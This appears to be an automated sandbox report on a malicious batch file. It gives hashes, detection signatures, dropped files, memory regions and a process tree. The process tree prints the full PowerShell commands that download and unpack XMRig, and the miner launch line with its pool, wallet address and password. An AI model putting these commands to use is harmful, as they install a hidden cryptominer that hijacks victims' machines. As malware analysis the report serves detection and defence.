Analysis

  • max time kernel
    1797s
  • max time network
    1807s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-12-2023 07:36

General

  • Target

    tesy - Copy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4628
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1096

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    14f3f0727533f74d4915cc996da1b29e

    SHA1

    54799cc1c15c88b63815e491edcc1a753892b888

    SHA256

    226f92c828cb96d71ac041accb063115cb34231647b8f1ca847ae56f6ae489a0

    SHA512

    924b0a1e9d4736ce21ec4f803d91fb63dc15740a47f269fbdb39fb98a5348db4b80411f4407ca91d77412eb7508ffeb8c8247132c66a0fe05a4ef0221ca4326c

  • memory/1096-145-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-132-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-186-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-185-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-184-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-183-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-182-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-181-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-180-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-179-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-178-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-177-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-176-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-175-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-174-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-173-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-120-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-122-0x0000024C5AE60000-0x0000024C5AE80000-memory.dmp

    Filesize

    128KB

  • memory/1096-121-0x0000024C5AE40000-0x0000024C5AE60000-memory.dmp

    Filesize

    128KB

  • memory/1096-123-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-124-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-127-0x0000024C5AE60000-0x0000024C5AE80000-memory.dmp

    Filesize

    128KB

  • memory/1096-126-0x0000024C5AE40000-0x0000024C5AE60000-memory.dmp

    Filesize

    128KB

  • memory/1096-125-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-128-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-129-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-130-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-148-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-147-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-133-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-146-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-135-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-136-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-137-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-138-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-139-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-140-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-141-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-142-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-143-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-144-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-118-0x0000024C5AB20000-0x0000024C5AB40000-memory.dmp

    Filesize

    128KB

  • memory/1096-134-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-119-0x0000024C5AB70000-0x0000024C5ABB0000-memory.dmp

    Filesize

    256KB

  • memory/1096-131-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-149-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-150-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-151-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-152-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-153-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-154-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-155-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-156-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-157-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-158-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-159-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-160-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-161-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-162-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-163-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-164-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-165-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-166-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-167-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-168-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-169-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-170-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-171-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1096-172-0x00007FF615320000-0x00007FF615E23000-memory.dmp

    Filesize

    11.0MB

  • memory/2796-27-0x000002B7ED3D0000-0x000002B7ED3E0000-memory.dmp

    Filesize

    64KB

  • memory/2796-26-0x000002B7ED3D0000-0x000002B7ED3E0000-memory.dmp

    Filesize

    64KB

  • memory/2796-4-0x000002B7ED330000-0x000002B7ED352000-memory.dmp

    Filesize

    136KB

  • memory/2796-25-0x00007FFA65150000-0x00007FFA65B3C000-memory.dmp

    Filesize

    9.9MB

  • memory/2796-9-0x000002B7ED660000-0x000002B7ED6D6000-memory.dmp

    Filesize

    472KB

  • memory/2796-32-0x00007FFA65150000-0x00007FFA65B3C000-memory.dmp

    Filesize

    9.9MB

  • memory/2796-24-0x000002B7ED3D0000-0x000002B7ED3E0000-memory.dmp

    Filesize

    64KB

  • memory/2796-8-0x000002B7ED3D0000-0x000002B7ED3E0000-memory.dmp

    Filesize

    64KB

  • memory/2796-6-0x00007FFA65150000-0x00007FFA65B3C000-memory.dmp

    Filesize

    9.9MB

  • memory/4628-40-0x000001BBD0590000-0x000001BBD05A0000-memory.dmp

    Filesize

    64KB

  • memory/4628-39-0x000001BBD0590000-0x000001BBD05A0000-memory.dmp

    Filesize

    64KB

  • memory/4628-64-0x000001BBD0590000-0x000001BBD05A0000-memory.dmp

    Filesize

    64KB

  • memory/4628-91-0x000001BBD06E0000-0x000001BBD06EA000-memory.dmp

    Filesize

    40KB

  • memory/4628-38-0x00007FFA74000000-0x00007FFA749EC000-memory.dmp

    Filesize

    9.9MB

  • memory/4628-78-0x000001BBD0700000-0x000001BBD0712000-memory.dmp

    Filesize

    72KB

  • memory/4628-115-0x00007FFA74000000-0x00007FFA749EC000-memory.dmp

    Filesize

    9.9MB